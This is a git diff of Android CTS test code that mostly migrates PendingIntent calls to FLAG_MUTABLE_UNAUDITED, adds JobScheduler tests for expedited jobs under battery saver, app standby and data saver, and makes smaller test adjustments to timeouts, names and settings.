diff --git a/suite/audio_quality/test/Android.bp b/suite/audio_quality/test/Android.bp
index d43b0aa..6b3c97b 100644
--- a/suite/audio_quality/test/Android.bp
+++ b/suite/audio_quality/test/Android.bp
@@ -17,7 +17,9 @@
 cc_test_host {
     name: "cts_audio_quality_test",
     srcs: ["*.cpp"],
-
+    test_options: {
+        unit_test: false,
+    },
     static_libs: [
         "libbase",
         "libutils",
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
index 8b578a3..86df15e 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/TimeChangeTests.java
@@ -98,7 +98,7 @@
         final Intent alarmIntent = new Intent(ACTION_ALARM)
                 .setPackage(mContext.getPackageName())
                 .addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
-        mAlarmPi = PendingIntent.getBroadcast(mContext, 0, alarmIntent, 0);
+        mAlarmPi = PendingIntent.getBroadcast(mContext, 0, alarmIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final IntentFilter alarmFilter = new IntentFilter(ACTION_ALARM);
         mContext.registerReceiver(mAlarmReceiver, alarmFilter);
         mDeviceConfigStateHelper =
diff --git a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
index 95a6e94..685d188 100644
--- a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
+++ b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
@@ -83,7 +83,7 @@
 @RunWith(BlobStoreTestRunner.class)
 public class BlobStoreManagerTest {
 
-    private static final long TIMEOUT_COMMIT_CALLBACK_SEC = 10;
+    private static final long TIMEOUT_COMMIT_CALLBACK_SEC = 30;
 
     private static final long TIMEOUT_BIND_SERVICE_SEC = 2;
 
@@ -1604,45 +1604,45 @@
         // and tag are equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             assertThat(blobHandle1).isEqualTo(blobHandle2);
         }
 
         // Check that BlobHandle objects are not equal if digests are not equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest1".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest2".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             assertThat(blobHandle1).isNotEqualTo(blobHandle2);
         }
 
         // Check that BlobHandle objects are not equal if expiry times are not equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1112L, "tag");
+                    "Fake blob", 1112L, "tag");
             assertThat(blobHandle1).isNotEqualTo(blobHandle2);
         }
 
         // Check that BlobHandle objects are not equal if labels are not equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob1", 1111L, "tag");
+                    "Fake blob1", 1111L, "tag");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob2", 1111L, "tag");
+                    "Fake blob2", 1111L, "tag");
             assertThat(blobHandle1).isNotEqualTo(blobHandle2);
         }
 
         // Check that BlobHandle objects are not equal if tags are not equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag1");
+                    "Fake blob", 1111L, "tag1");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag2");
+                    "Fake blob", 1111L, "tag2");
             assertThat(blobHandle1).isNotEqualTo(blobHandle2);
         }
     }
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
index 0d4e6e8..7683fdf 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
@@ -34,8 +34,11 @@
 import android.os.Looper;
 import android.os.Message;
 import android.platform.test.annotations.RequiresDevice;
+import android.provider.Settings;
 import android.util.Log;
 
+import com.android.compatibility.common.util.AppStandbyUtils;
+import com.android.compatibility.common.util.BatteryUtils;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -78,6 +81,8 @@
     private boolean mInitialRestrictBackground;
     /** Track whether airplane mode was enabled in case we toggle it. */
     private boolean mInitialAirplaneMode;
+    /** Track whether the restricted bucket was enabled in case we toggle it. */
+    private String mInitialRestrictedBucketEnabled;
 
     private JobInfo.Builder mBuilder;
 
@@ -102,6 +107,8 @@
         mInitialRestrictBackground = SystemUtil
                 .runShellCommand(getInstrumentation(), RESTRICT_BACKGROUND_GET_CMD)
                 .contains("enabled");
+        mInitialRestrictedBucketEnabled = Settings.Global.getString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET);
         setDataSaverEnabled(false);
         mInitialAirplaneMode = isAirplaneModeOn();
         setAirplaneMode(false);
@@ -114,12 +121,18 @@
         }
         mJobScheduler.cancel(CONNECTIVITY_JOB_ID);
 
+        BatteryUtils.runDumpsysBatteryReset();
+
         // Restore initial restrict background data usage policy
         setDataSaverEnabled(mInitialRestrictBackground);
 
         // Restore initial airplane mode status
         setAirplaneMode(mInitialAirplaneMode);
 
+        // Restore initial restricted bucket setting.
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, mInitialRestrictedBucketEnabled);
+
         // Ensure that we leave WiFi in its previous state.
         if (mHasWifi && mWifiManager.isWifiEnabled() != mInitialWiFiState) {
             try {
@@ -303,6 +316,66 @@
 
     /**
      * Schedule an expedited job that requires a network connection, and verify that it runs even
+     * when if an app is idle.
+     */
+    public void testExpeditedJobExecutes_IdleApp() throws Exception {
+        if (!AppStandbyUtils.isAppStandbyEnabled()) {
+            Log.d(TAG, "App standby not enabled");
+            return;
+        }
+        if (!checkDeviceSupportsMobileData()) {
+            Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+            return;
+        }
+
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+        mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
+        SystemUtil.runShellCommand("am set-standby-bucket "
+                + kJobServiceComponent.getPackageName() + " restricted");
+        disconnectWifiToConnectToMobile();
+        BatteryUtils.runDumpsysBatteryUnplug();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                        .setExpedited(true)
+                        .build());
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+        assertTrue("Expedited job requiring connectivity did not fire when app was idle.",
+                kTestEnvironment.awaitExecution());
+    }
+
+    /**
+     * Schedule an expedited job that requires a network connection, and verify that it runs even
+     * when Battery Saver is on.
+     */
+    public void testExpeditedJobExecutes_BatterySaverOn() throws Exception {
+        BatteryUtils.assumeBatterySaverFeature();
+        if (!checkDeviceSupportsMobileData()) {
+            Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+            return;
+        }
+
+        disconnectWifiToConnectToMobile();
+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(true);
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                        .setExpedited(true)
+                        .build());
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+        assertTrue(
+                "Expedited job requiring connectivity did not fire with Battery Saver on.",
+                kTestEnvironment.awaitExecution());
+    }
+
+    /**
+     * Schedule an expedited job that requires a network connection, and verify that it runs even
      * when Data Saver is on and the device is not connected to WiFi.
      */
     public void testExpeditedJobExecutes_DataSaverOn() throws Exception {
@@ -324,6 +397,44 @@
                 kTestEnvironment.awaitExecution());
     }
 
+    /**
+     * Schedule an expedited job that requires a network connection, and verify that it runs even
+     * when multiple firewalls are active.
+     */
+    public void testExpeditedJobBypassesSimultaneousFirewalls() throws Exception {
+        BatteryUtils.assumeBatterySaverFeature();
+        if (!checkDeviceSupportsMobileData()) {
+            Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+            return;
+        }
+        if (!AppStandbyUtils.isAppStandbyEnabled()) {
+            Log.d(TAG, "App standby not enabled");
+            return;
+        }
+
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+        mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
+        SystemUtil.runShellCommand("am set-standby-bucket "
+                + kJobServiceComponent.getPackageName() + " restricted");
+        disconnectWifiToConnectToMobile();
+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(true);
+        setDataSaverEnabled(true);
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                        .setExpedited(true)
+                        .build());
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+        assertTrue(
+                "Expedited job requiring metered connectivity did not fire with multiple "
+                        + "firewalls.",
+                kTestEnvironment.awaitExecution());
+    }
+
     // --------------------------------------------------------------------------------------------
     // Positives & Negatives - schedule jobs under conditions that require that pass initially and
     // then fail with a constraint change.
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
index f53f126..e1bf31f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
@@ -208,7 +208,7 @@
 
     private RemoteAction getRemoteAction(String pendingIntent) {
         Intent i = new Intent(pendingIntent);
-        PendingIntent p = PendingIntent.getBroadcast(mContext, 0, i, 0);
+        PendingIntent p = PendingIntent.getBroadcast(mContext, 0, i, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return new RemoteAction(Icon.createWithContentUri("content://test"), "test1", "test1", p);
     }
 
diff --git a/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java b/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java
index 1149e5e..ded29be 100644
--- a/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java
+++ b/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java
@@ -114,7 +114,7 @@
                     registerReceiver(mReceiver, new IntentFilter(mReceiverAction));
                     Intent intent = new Intent(mReceiverAction);
                     postNotification(notificationId,
-                            PendingIntent.getBroadcast(context, 0, intent, 0));
+                            PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
                     break;
                 }
                 case MESSAGE_SERVICE_NOTIFICATION: {
@@ -123,7 +123,7 @@
                     // trampoline) in this case.
                     Intent intent = new Intent(context, NotificationTrampolineTestService.class);
                     postNotification(notificationId,
-                            PendingIntent.getService(context, 0, intent, 0));
+                            PendingIntent.getService(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
                     break;
                 }
                 default:
diff --git a/tests/app/app/src/android/app/stubs/BubblesTestService.java b/tests/app/app/src/android/app/stubs/BubblesTestService.java
index d675a52..a3bf4f7 100644
--- a/tests/app/app/src/android/app/stubs/BubblesTestService.java
+++ b/tests/app/app/src/android/app/stubs/BubblesTestService.java
@@ -59,7 +59,7 @@
     private Notification getNotificationForTest(int testCase, Context context) {
         final Intent intent = new Intent(context, SendBubbleActivity.class);
         final PendingIntent pendingIntent =
-                PendingIntent.getActivity(getApplicationContext(), 0, intent, 0);
+                PendingIntent.getActivity(getApplicationContext(), 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Person person = new Person.Builder()
                 .setName("bubblebot")
                 .build();
diff --git a/tests/app/app/src/android/app/stubs/SendBubbleActivity.java b/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
index 1cbd70f..e02382b 100644
--- a/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
+++ b/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
@@ -61,7 +61,7 @@
     public void sendInvalidBubble(boolean autoExpand) {
         Context context = getApplicationContext();
 
-        PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, new Intent(), 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification n = new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
                 .setSmallIcon(R.drawable.black)
                 .setWhen(System.currentTimeMillis())
@@ -109,7 +109,7 @@
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         intent.setAction(Intent.ACTION_MAIN);
         final PendingIntent pendingIntent =
-                PendingIntent.getActivity(context, 0, intent, 0);
+                PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         return new Notification.BubbleMetadata.Builder(pendingIntent,
                 Icon.createWithResource(context, R.drawable.black))
diff --git a/tests/app/src/android/app/cts/CloseSystemDialogsTest.java b/tests/app/src/android/app/cts/CloseSystemDialogsTest.java
index 957d4a7..7fefd24 100644
--- a/tests/app/src/android/app/cts/CloseSystemDialogsTest.java
+++ b/tests/app/src/android/app/cts/CloseSystemDialogsTest.java
@@ -35,6 +35,7 @@
 import android.app.stubs.shared.ICloseSystemDialogsTestsService;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
@@ -44,6 +45,7 @@
 import android.os.Handler;
 import android.os.Looper;
 import android.os.ResultReceiver;
+import android.provider.Settings;
 import android.view.Display;
 import android.view.WindowManager;
 import android.view.WindowManager.LayoutParams;
@@ -88,6 +90,7 @@
     private Instrumentation mInstrumentation;
     private FutureServiceConnection mConnection;
     private Context mContext;
+    private ContentResolver mResolver;
     private ICloseSystemDialogsTestsService mService;
     private volatile WindowManager mSawWindowManager;
     private volatile Context mSawContext;
@@ -98,12 +101,14 @@
     private Handler mMainHandler;
     private TestNotificationListener mNotificationListener;
     private NotificationHelper mNotificationHelper;
+    private String mPreviousHiddenApiPolicy;
 
 
     @Before
     public void setUp() throws Exception {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mContext = mInstrumentation.getTargetContext();
+        mResolver = mContext.getContentResolver();
         mMainHandler = new Handler(Looper.getMainLooper());
         toggleListenerAccess(mContext, true);
         mNotificationListener = TestNotificationListener.getInstance();
@@ -111,6 +116,11 @@
         compat(APP_COMPAT_ENABLE, ActivityManager.DROP_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
         setTargetCurrent();
 
+        // We need to test that a few hidden APIs are properly protected in the helper app. The
+        // helper app we're using doesn't have the checks disabled because it's not the target of
+        // instrumentation, see comment on APP_HELPER for details.
+        mPreviousHiddenApiPolicy = setHiddenApiPolicy("1");
+
         // Add a receiver that will verify if the intent was sent or not
         mIntentReceiver = new IntentReceiver();
         mCloseSystemDialogsReceived = new CompletableFuture<>();
@@ -135,6 +145,7 @@
         }
         mMainHandler.post(() -> mSawWindowManager.removeViewImmediate(mFakeView));
         mContext.unregisterReceiver(mIntentReceiver);
+        setHiddenApiPolicy(mPreviousHiddenApiPolicy);
         compat(APP_COMPAT_RESET, ActivityManager.DROP_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
         compat(APP_COMPAT_RESET, ActivityManager.LOCK_DOWN_CLOSE_SYSTEM_DIALOGS, APP_HELPER);
         compat(APP_COMPAT_RESET, "NOTIFICATION_TRAMPOLINE_BLOCK", APP_HELPER);
@@ -350,6 +361,15 @@
         return mConnection;
     }
 
+    private String setHiddenApiPolicy(String policy) throws Exception {
+        return SystemUtil.callWithShellPermissionIdentity(() -> {
+            String previous = Settings.Global.getString(mResolver,
+                    Settings.Global.HIDDEN_API_POLICY);
+            Settings.Global.putString(mResolver, Settings.Global.HIDDEN_API_POLICY, policy);
+            return previous;
+        });
+    }
+
     private static void compat(String command, String changeId, String packageName) {
         SystemUtil.runShellCommand(
                 String.format("am compat %s %s %s", command, changeId, packageName));
diff --git a/tests/app/src/android/app/cts/DownloadManagerTestBase.java b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
index 3f6928f..f289557 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTestBase.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
@@ -21,6 +21,7 @@
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -49,6 +50,7 @@
 import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
 import org.junit.Before;
@@ -421,7 +423,13 @@
                     cursor.getColumnIndex(DownloadManager.COLUMN_STATUS)));
             assertEquals(Uri.fromFile(expectedLocation).toString(),
                     cursor.getString(cursor.getColumnIndex(DownloadManager.COLUMN_LOCAL_URI)));
-            assertTrue(expectedLocation.exists());
+
+            // Use shell to check if file is created as normal app doesn't have
+            // visibility to see other packages dirs.
+            String result = SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                    "file " + expectedLocation.getCanonicalPath());
+            assertFalse("Cannot create file in other packages",
+                    result.contains("No such file or directory"));
         } finally {
             if (cursor != null) {
                 cursor.close();
diff --git a/tests/app/src/android/app/cts/NotificationCarExtenderTest.java b/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
index 20bf336..0345030 100644
--- a/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
+++ b/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
@@ -111,10 +111,10 @@
         final Intent testIntent = new Intent("testIntent");
         final PendingIntent testPendingIntent =
             PendingIntent.getBroadcast(mContext, 0, testIntent,
-            PendingIntent.FLAG_CANCEL_CURRENT);
+            PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final PendingIntent testReplyPendingIntent =
             PendingIntent.getBroadcast(mContext, 0, testIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final RemoteInput testRemoteInput = new RemoteInput.Builder("key").build();
 
         final UnreadConversation testConversation =
diff --git a/tests/app/src/android/app/cts/NotificationChannelTest.java b/tests/app/src/android/app/cts/NotificationChannelTest.java
index 8c2e89c..c879337 100644
--- a/tests/app/src/android/app/cts/NotificationChannelTest.java
+++ b/tests/app/src/android/app/cts/NotificationChannelTest.java
@@ -82,6 +82,7 @@
                         .build());
         channel.setLightColor(Color.RED);
         channel.setDeleted(true);
+        channel.setDeletedTimeMs(1000);
         channel.setFgServiceShown(true);
         channel.setVibrationPattern(new long[] {299, 4562});
         channel.setBlockable(true);
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index ea2e5b2..a0acdb7 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -401,7 +401,7 @@
 
     private PendingIntent getPendingIntent() {
         return PendingIntent.getActivity(
-                getContext(), 0, new Intent(getContext(), this.getClass()), 0);
+                getContext(), 0, new Intent(getContext(), this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     private boolean isGroupSummary(Notification n) {
@@ -517,7 +517,7 @@
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         if (data == null) {
             data = new Notification.BubbleMetadata.Builder(pendingIntent,
diff --git a/tests/app/src/android/app/cts/NotificationTest.java b/tests/app/src/android/app/cts/NotificationTest.java
index d7c27b3..e718d10 100644
--- a/tests/app/src/android/app/cts/NotificationTest.java
+++ b/tests/app/src/android/app/cts/NotificationTest.java
@@ -147,11 +147,11 @@
         mNotification.icon = 0;
         mNotification.number = 1;
         final Intent intent = new Intent();
-        final PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mNotification.contentIntent = pendingIntent;
         final Intent deleteIntent = new Intent();
         final PendingIntent delPendingIntent = PendingIntent.getBroadcast(
-                mContext, 0, deleteIntent, 0);
+                mContext, 0, deleteIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mNotification.deleteIntent = delPendingIntent;
         mNotification.tickerText = TICKER_TEXT;
 
@@ -251,7 +251,7 @@
 
     public void testBuilder() {
         final Intent intent = new Intent();
-        final PendingIntent contentIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        final PendingIntent contentIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.BubbleMetadata bubble = makeBubbleMetadata();
         mNotification = new Notification.Builder(mContext, CHANNEL.getId())
                 .setSmallIcon(1)
@@ -292,7 +292,7 @@
 
     public void testActionBuilder() {
         final Intent intent = new Intent();
-        final PendingIntent actionIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+        final PendingIntent actionIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mAction = null;
         mAction = new Notification.Action.Builder(0, ACTION_TITLE, actionIntent)
                 .setAuthenticationRequired(true)
@@ -551,7 +551,7 @@
     }
 
     public void testAction_builder_contextualAction_nullIcon() {
-        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.Action.Builder builder =
                 new Notification.Action.Builder(null /* icon */, "title", pendingIntent)
                 .setContextual(true);
@@ -628,8 +628,8 @@
     }
 
     public void testBubbleMetadataBuilder() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -646,8 +646,8 @@
     }
 
     public void testBubbleMetadata_parcel() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata metadata =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -667,7 +667,7 @@
     }
 
     public void testBubbleMetadataBuilder_shortcutId() {
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
                         .setDesiredHeight(BUBBLE_HEIGHT)
@@ -682,7 +682,7 @@
     }
 
     public void testBubbleMetadataBuilder_parcelShortcutId() {
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         Notification.BubbleMetadata metadata =
                 new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
@@ -701,7 +701,7 @@
     }
 
     public void testBubbleMetadata_parcelResId() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata metadata =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -737,7 +737,7 @@
     }
 
     public void testBubbleMetadataBuilder_shortcutBuilder_throwsForSetIntent() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         try {
             Notification.BubbleMetadata.Builder metadataBuilder =
                     new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
@@ -801,7 +801,7 @@
         new Canvas(b).drawColor(0xffff0000);
         Icon icon = Icon.createWithAdaptiveBitmap(b);
 
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon);
         Notification.BubbleMetadata metadata = metadataBuilder.build();
@@ -812,7 +812,7 @@
     public void testBubbleMetadataBuilder_noThrowForNonBitmapIcon() {
         Icon icon = Icon.createWithResource(mContext, R.drawable.ic_android);
 
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon);
         Notification.BubbleMetadata metadata = metadataBuilder.build();
@@ -821,8 +821,8 @@
     }
 
     public void testBubbleMetadataBuilder_replaceHeightRes() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -838,8 +838,8 @@
     }
 
     public void testBubbleMetadataBuilder_replaceHeightDp() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -964,7 +964,7 @@
     }
 
     private Notification.BubbleMetadata makeBubbleMetadata() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         return new Notification.BubbleMetadata.Builder(bubbleIntent,
                 Icon.createWithResource(mContext, 1))
diff --git a/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java b/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
index 8d1ab70..6a84d88 100644
